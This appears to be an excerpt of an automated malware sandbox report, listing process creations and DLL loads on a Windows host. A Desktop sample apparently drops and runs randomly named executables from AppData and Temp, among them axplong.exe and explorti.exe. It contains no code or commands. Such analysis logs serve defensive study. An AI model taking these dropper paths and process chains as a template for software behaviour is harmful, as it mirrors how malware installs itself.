Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6296 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6576 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7744 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 10656 -ip 10656
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 10656 -s 1316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2052,i,15441760254145988461,15363386439587136633,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,896730670304015213,14143219268835796612,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe "C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
